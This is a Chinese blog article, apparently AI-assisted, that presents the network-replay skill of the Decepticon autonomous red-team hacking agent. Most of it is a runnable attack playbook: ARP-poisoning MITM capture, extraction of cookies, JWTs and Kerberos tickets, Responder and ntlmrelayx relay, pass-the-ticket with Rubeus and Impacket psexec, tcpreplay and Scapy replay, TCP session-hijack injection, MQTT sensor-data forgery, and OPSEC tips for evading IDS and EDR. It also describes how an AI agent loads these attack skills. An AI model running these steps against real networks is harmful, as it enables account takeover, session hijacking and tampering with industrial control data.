【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载本篇指南以 Decepticon 开源仓库中network-replay技能文档SKILL.md为主体系统讲解重放攻击Replay Attack的完整作战流程从流量捕获、可重放材料提取到原始帧重放、应用层令牌注入与 TCP 会话劫持并覆盖 ATTCK 映射、证据采集与 OPSEC 规避。读完本文你将掌握 Decepticon Post-Exploit 角色在执行重放攻击任务时的标准操作手册、底层技能加载机制以及如何在知识图谱中沉淀可复用的攻击证据。技能定位重放攻击是独立的进攻原语重放攻击Replay Attack的核心思想是复用先前捕获的、仍然有效的网络消息来完成重新认证或重新授权而无需知晓底层密钥。攻击者并不需要破解密码、也不需要对协议进行逆向构造只需要证明这段流量曾经合法。在 Decepticon 的技能体系中network-replay被设计为一个独立于其他攻击原语的专用技能。该技能的 frontmatter 明确定义了其适用场景--- name: network-replay description: PCAP-based network replay attacks: capture auth sequences, session tokens, and protocol frames, then replay or inject to achieve unauthorized access or session hijack. allowed-tools: Bash Read Write metadata: subdomain: post-exploit when_to_use: replay attack, pcap replay, session hijack, token replay, tcpreplay, scapy replay, kerberos ticket replay, jwt replay, oauth replay, NTLM relay capture replay, credential replay, MQTT frame replay, sequence number prediction tags: replay, pcap, session-hijack, scapy, tcpreplay, kerberos, jwt, oauth, ntlm, mqtt, network mitre_attack: T1557, T1557.001, T1563, T1550, T1550.002, T1040 ---从仓库中的技能加载机制看这段 frontmatter 并非摆设。SkillsMiddleware实现见 middleware/skills.py在 agent 启动时将技能的description、when_to_use触发关键词和mitre_attack标签注入系统提示词按subdomain如 post-exploit分组展示技能目录。当任务目标与触发关键词匹配时agent 通过load_skill()按需加载完整 SKILL.md 正文——这一渐进式披露progressive disclosure机制保证上下文窗口精简同时让深度的攻击知识在需要时触手可及。触发路径当一次交战中已经捕获了有效流量且认证令牌/会话状态可被复用典型触发词如 pcap replay、session hijack、token replay、tcpreplayDecepticon 就会路由到本技能。加载方式支持唯一 slugnetwork-replay、相对路径standard/post-exploit/network-replay/SKILL.md或完整虚拟路径/skills/standard/post-exploit/network-replay/SKILL.md解析实现见 tools/skills.py。授权边界RoE 明确授权是前置条件技能文档在开头即强调强制性的使用前提Authorized use only. Replay attacks require network capture of live traffic which may incidentally capture credentials or PII from non-target systems. RoE must explicitly authorize packet capture on the target subnet and name which protocols and systems are in scope.翻译过来有三层含义仅限授权使用——重放攻击属于主动攻击原语必须在交战规则RoE允许范围内执行流量捕获的连带风险——对目标网段的抓包可能顺带捕获到非目标系统的凭据或个人可识别信息PII操作者要有这个认知并做好最小化处理RoE 必须书面明确——授权范围要具体到在哪些子网允许抓包、哪些协议和系统在范围内。这一点与仓库的 RoE 强制执行机制一脉相承。技能文档中的allowed-tools: Bash Read Write也限定了本技能只使用三类工具所有捕获与重放操作均通过 Bash 命令行、文件读写完成不涉及额外的横向工具面。工具清单验证标准 Kali 环境的可用性执行前先确认工具链齐全标准 Kali 发行版环境# Verify tools available (standard Kali) which tcpreplay tcpprep tcprewrite tshark scapy 2/dev/null pip show scapy pwntools 2/dev/null | grep -E Name|Version各工具在后续流程中的职责工具阶段职责tcpdump捕获抓取原始流量到 PCAP 文件tshark提取从 PCAP 中按过滤表达式提取 HTTP、Kerberos、MQTT 等字段tcpreplay/tcprewrite/tcpprep重放按原始速率或改写地址后重放捕获帧scapy注入读取/构造/发送自定义数据包令牌注入、会话劫持curl应用层重放直接复用 Cookie / Bearer Token 发起 HTTP 请求mosquitto_pubMQTT 重放向 broker 重新发布捕获的发布帧Phase 1 — 流量捕获被动监听与 MITM 两种路线被动捕获本地网段被动捕获是最隐蔽的方式不主动向目标发送任何数据# Broad capture — filter to target host post-hoc sudo tcpdump -i iface -w /tmp/capture.pcap host target_ip # Targeted: capture only authentication-relevant ports sudo tcpdump -i iface -w /tmp/auth.pcap \ host target and (port 80 or port 443 or port 88 or port 389 or port 1883) # If you have a SPAN/mirror port feeding into the attacker NIC: sudo tcpdump -i span_iface -w /tmp/span.pcap -s 0三个变体的侧重点不同宽泛捕获只按目标主机 IP 过滤抓到完整流量后可在后续用tshark事后筛选适合不确定认证发生在哪个端口的情况定向捕获只抓认证相关端口——80HTTP、443HTTPS、88Kerberos、389LDAP、1883MQTT能显著减小 PCAP 体积便于后续分析SPAN/镜像端口如果交换机把流量镜像到攻击机网卡直接-s 0捕获完整帧长不做 snaplen 截断抓全量数据这是文档推荐的最隐蔽方案详见 OPSEC 一节。MITM 捕获ARP 投毒前置当没有镜像端口、必须主动截获流量时使用 ARP 投毒建立中间人位置# ARP poison victim - gateway to intercept traffic sudo arpspoof -i iface -t victim_ip gateway_ip sudo arpspoof -i iface -t gateway_ip victim_ip # Enable IP forwarding to stay transparent echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward sudo tcpdump -i iface -w /tmp/mitm.pcap host victim_ip要点两个方向的 ARP 欺骗都要做受害者↔网关双向同时开启 IP 转发ip_forward1保持链路透明避免双向流量经过攻击机后无法转发导致受害者断网而暴露攻击行为。Phase 2 — 提取可重放材料HTTP 会话令牌与 Cookietshark -r /tmp/capture.pcap \ -Y http.request.method POST || http.cookie \ -T fields -e frame.number -e ip.src -e http.cookie \ -e http.authorization -e http.file_data 2/dev/null | head -50 # Extract cookie / Authorization header value for direct reuse tshark -r /tmp/capture.pcap -Y http.cookie \ -T fields -e http.cookie 2/dev/null | sort -u第一条命令聚焦认证瞬间——POST 请求体或携带 Cookie 的报文同时输出帧号、源 IP、Cookie、Authorization 头与 POST 数据第二条命令用sort -u去重所有出现的 Cookie 值直接得到可复用的会话令牌列表。JWT 令牌# JWTs appear in Authorization: Bearer headers or JSON bodies tshark -r /tmp/capture.pcap \ -Y http.authorization contains Bearer \ -T fields -e http.authorization 2/dev/null | \ grep -oP Bearer \K[A-Za-z0-9._-]捕获后可用以下 Python 代码解码查看 claims 而不做签名验证注意这只是检查 payload 中的过期时间、角色、主体等字段并不伪造令牌import base64, json token paste_jwt header, payload, sig token.split(.) print(json.loads(base64.b64decode(payload ).decode()))通过解码可以快速判断令牌的利用价值exp是否仍有效、role权限级别、sub主体身份等字段直接决定后续重放策略。Kerberos TGT / TGS 票据重放Pass-the-Ticket# Extract Kerberos AS-REP / TGS-REP from capture tshark -r /tmp/capture.pcap -Y kerberos \ -T fields -e kerberos.msg_type -e kerberos.CNameString \ -e kerberos.realm 2/dev/null | head -30 # If you have code execution on a Windows host — dump tickets in memory # (credential-access domain; use from post-exploit context) # Rubeus.exe dump /luid:logon_id /service:krbtgt /nowrap # Then inject: Rubeus.exe ptt /ticket:base64_kirbi # Impacket-based PTT (Linux) after extracting .ccache file export KRB5CCNAME/tmp/stolen.ccache python3 /opt/impacket/examples/psexec.py -k -no-pass targetKerberos 票据重放Pass-the-Ticket有两条执行路径Windows 侧先在内存中 dump 票据Rubeus 的dump /luid:logon_id /service:krbtgt再用ptt注入票据Linux 侧把票据导出为.ccache文件设置KRB5CCNAME环境变量指向它然后直接用 Impacket 的psexec.py -k -no-pass以票据身份访问目标全程无需密码。这条路径与仓库中ad/域的 Pass-the-Hash / Pass-the-Ticket 技能族呼应参见 post-exploit 技能目录。NTLM Net-NTLMv2 捕获走 Relay 而非 Crack技能文档明确区分了这条路线捕获 Net-NTLMv2 的目的若是 Relay就对接专门的 relay 手册而不是本地破解哈希。完整 relay 手册见 ad/ntlm-relay/SKILL.md涵盖ntlmrelayx的 SMB/LDAP/ADCS/MSSQL 目标矩阵、SMB signing 约束与多跳 relay 配置。本技能只承担捕获职责sudo responder -I iface -wdF # capture Net-NTLMv2 hashes # For relay (not crack): pipe directly to ntlmrelayx sudo ntlmrelayx.py -tf /tmp/relay_targets.txt -smb2support-wdF组合-wWPAD 代理投毒、-dDHCP、-F强制认证ntlmrelayx -tf则把捕获到的认证流量逐个转发给目标列表中的主机。Phase 3 — 重放执行原始 PCAP 帧重放tcpreplay# Extract specific frames to replay tshark -r /tmp/capture.pcap -w /tmp/auth_only.pcap \ -Y frame.number 150 frame.number 180 # Replay at original rate to target sudo tcpreplay --intf1iface --topspeed /tmp/auth_only.pcap # Replay with destination MAC/IP rewrite (different target host) tcprewrite --srcipmaporig_src:new_src \ --dstipmaporig_dst:new_dst \ --enet-dmactarget_mac \ --infile/tmp/auth_only.pcap \ --outfile/tmp/rewritten.pcap sudo tcpreplay --intf1iface /tmp/rewritten.pcap三步走先用帧号范围从大 PCAP 中切出认证片段再按原始速率--topspeed直接重放若要把重放流量导向不同目标主机则先用tcprewrite改写源/目的 IP 与目的 MAC再重放改写后的 PCAP。注意--topspeed会以网卡最大速率突发发送容易触发 IDS 告警OPSEC 一节有降速替代方案。Scapy 会话令牌注入from scapy.all import rdpcap, IP, TCP, Raw, send packets rdpcap(/tmp/auth_only.pcap) # Pick the auth POST packet auth_pkt packets[5] # Modify destination if replaying to a different host auth_pkt[IP].dst new_target_ip auth_pkt[IP].src attacker_ip del auth_pkt[IP].chksum del auth_pkt[TCP].chksum send(auth_pkt, verbose1)核心细节rdpcap读入捕获包后若重放目标不同必须同时改写 IP 层的源/目的地址并且del掉 IP 与 TCP 的 checksum让内核/网卡在发送时重新计算——否则校验和错误会导致对端丢弃数据包。HTTP Cookie / Bearer Token 应用层重放curlCOOKIEsessionextracted_value JWTextracted_jwt # Cookie replay curl -sk -H Cookie: $COOKIE https://target/api/admin -v # JWT replay curl -sk -H Authorization: Bearer $JWT https://target/api/v1/users -v这是最直接的重放形态不碰网络层直接把提取出的会话凭据以 HTTP 头形式提交给目标应用验证是否仍被服务端接受。-sk用于忽略 TLS 证书校验测试环境常见自签证书。MQTT 帧重放IoT / OT 场景# Replay a captured MQTT publish frame (e.g., sensor value forgery) # Extract MQTT payload from pcap tshark -r /tmp/capture.pcap -Y mqtt.msgtype 3 \ -T fields -e mqtt.topic -e mqtt.msg 2/dev/null # Re-publish with mosquitto_pub mosquitto_pub -h broker_ip -p 1883 \ -t captured_topic -m captured_payloadMQTTmsgtype 3即 PUBLISH 帧。典型攻击场景是传感器数值伪造捕获合法传感器对主题的发布如温度、水位读数用mosquitto_pub向 broker 重新发布相同主题与载荷实现对 SCADA/OT 控制面数据的注入。该场景对应 frontmatter 中的mqtt标签与port 1883定向捕获建议。Phase 4 — TCP 会话劫持当序列号可预测或已具备MITM 位置时可以在 TCP 流中注入伪造数据from scapy.all import * # Monitor target TCP stream and identify SEQ/ACK window packets sniff(filterftcp and host victim and host server, count20, ifaceiface) last packets[-1] src_ip last[IP].src dst_ip last[IP].dst sport last[TCP].sport dport last[TCP].dport seq last[TCP].seq len(last[Raw].load) ack last[TCP].ack # Inject payload into the stream hijack IP(srcsrc_ip, dstdst_ip) / \ TCP(sportsport, dportdport, seqseq, ackack, flagsPA) / \ Raw(loadbGET /admin HTTP/1.1\r\nHost: server\r\n\r\n) send(hijack, verbose1)原理拆解sniff监听受害者与服务器之间的 TCP 流取最后一个数据包作为参考关键计算注入包的seq必须等于参考包的seq len(last[Raw].load)即参考包载荷之后的下一个序列号ack沿用参考包的确认号flagsPAPSHACK确保数据立即推送随后构造一个伪装成服务器→受害者方向的 HTTP 请求注入流中实际方向按 src/dst 对应调整实现盲注入blind injection式的会话内操作。攻击成功的前提是该 TCP 连接没有用带外机制保护如 TLS 或 SSH 封装且序列号空间可预测——这正是文档将其列为Remote Service Session Hijacking技术的原因。ATTCK 映射TechniqueIDNotesAdversary-in-the-MiddleT1557ARP poisoning to capture trafficLLMNR/NBT-NS PoisoningT1557.001Responder NTLMv2 captureRemote Service Session HijackingT1563TCP session hijackUse Alternate Auth MaterialT1550Cookie/token replayPass the Hash / TicketT1550.002Kerberos PTT after ticket extractionNetwork SniffingT1040Passive PCAP capture prerequisite这张表与 frontmatter 中的mitre_attack: T1557, T1557.001, T1563, T1550, T1550.002, T1040一一对应。SkillsMiddleware在渲染技能目录时会解析该字段并内联展示见 middleware/skills.py 的_parse_comma_field使 agent 在技能目录层面就具备 ATTCK 感知。证据采集沉淀到知识图谱重放成功后技能文档要求在 Decepticon 的知识图谱KG中登记 finding 节点kg_add_node( kindfinding, labelNetwork replay attack — session token reused, props{ technique: network-replay, captured_pcap: /workspace/evidence/replay/target.pcap, replayed_token_type: cookie|jwt|kerberos|ntlm|mqtt, result: access_gained|failed, target: ip_or_hostname, mitre: T1557,T1550, }, )从仓库源码看kg_add_node是 research 工具集中真正的 Graph 工具tools/research/tools.py#L480支持host、service、finding、credential等节点类型通过props中的确定性key去重节点在每次 agent 迭代之间持久化下一次全新上下文的 agent 也能查询到。建议在props中额外记录 pcap 证据文件路径与replayed_token_type字段值方便后续审计与报告引用。本地 finding 文档的证据引用格式可参考仓库的 local-evidence-contract.md。反重放控制清单finding 必须说明缺失的控制当重放成功时finding 必须明确指出目标缺失了哪项反重放控制——这是报告价值所在也是修复建议的依据No nonce / CSRF token on authenticated requests.认证请求缺少 nonce / CSRF 令牌导致请求可被原样重放No token binding to client IP or TLS session.令牌未绑定客户端 IP 或 TLS 会话异地重放同样有效Long or infinite token lifetime.令牌生命周期过长或永不过期放大重放窗口MissingSecure/HttpOnlycookie flagscookie 缺少安全标志使 JS 可窃取后用于重放HttpOnly缺失则 XSS 即可直接偷取No Kerberos delegation restrictionms-DS-AllowedToDelegateTo属性开放票据可被滥用MQTT broker accepting publish without authentication or TLS.MQTT broker 允许无认证/无 TLS 发布传感器伪造成为可能OPSEC重放操作的暴露面控制技能文档在末尾给出三条关键的隐蔽性纪律ARP 欺骗很吵绝大多数 EDR 与网络监控平台会对 gratuitous ARP 和重复 MAC 表项告警。可用被动 SPAN 捕获时优先使用 SPAN尽量不主动投毒。tcpreplay可能触发 IDS重复的 TCP SYN 序列会让 IDS 报警。对策是降速重放--mbps1或对序列号进行改写。Kerberos PTT 的日志指纹Pass-the-Ticket 不会产生 NTLM 事件日志4776但会生成4768/4769Kerberos 认证/票据请求且 client IP 显示为攻击者地址——务必保证攻击者 IP 与被盗身份的预期地理位置一致避免触发位置异常告警。关联技能导航本技能在 Decepticon 技能体系中与以下技能协同使用均可在 standard 技能目录 中通过load_skill()加载ad/ntlm-relay/SKILL.md — NTLM relay 完整手册目标矩阵、SMB signing 约束、multi-relay、crack vs relay 取舍ad/coercer/SKILL.md — 强制认证为 relay 提供认证流量来源post-exploit/credential-access/SKILL.md — 凭据提取与捕获LSASS、SAM、Responder 等是本技能材料来源的上游环节post-exploit/lateral-movement/SKILL.md — 重放取得会话后的横向移动衔接。技能系统的整体运作方式渐进式披露、load_skill解析规则、角色目录映射详见 docs/skills.mdload_skill工具的路径校验与全文返回实现见 tools/skills.py。实战要诀回顾重放攻击的成败关键在于三个判断——① 捕获的流量是否仍处于有效窗口检查 JWTexp、会话 TTL② 目标是否缺失反重放控制nonce、token binding、cookie 标志③ 重放形态是否匹配目标协议层网络层用 tcpreplay、应用层用 curl/Scapy、IoT 层用 mosquitto_pub。把握住这三点就能把一段合法流量转化为一次未授权访问。赞分享【免费下载链接】DecepticonAutonomous Hacking Agent for Red Team项目地址https://gitcode.com/gh_mirrors/de/Decepticon点击查看免费下载相关推荐Decepticon Sub-GHz ISM 波段攻击技能实战433/868/915 MHz 信号捕获、分析、重放与滚动码破解Decepticon Sub GHz ISM 波段攻击技能实战433/868/915 MHz 信号捕获、分析、重放与滚动码破解 Decepticon 在 paHowToHunt 账户接管Account Takeover实战方法论会话劫持、密码重置投毒、响应篡改与令牌泄漏的六条攻击路径HowToHunt 账户接管Account Takeover实战方法论会话劫持、密码重置投毒、响应篡改与令牌泄漏的六条攻击路径 本文以 Account_T网络安全应用安全告别千篇一律打造专属你的Tmux终端美学——GitHub_Trending/tmu/tmux主题配置全攻略告别千篇一律打造专属你的Tmux终端美学——GitHub_Trending/tmu/tmux主题配置全攻略 你是否厌倦了终端界面单调乏味的默认样式还在为找不后端认证鉴权创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考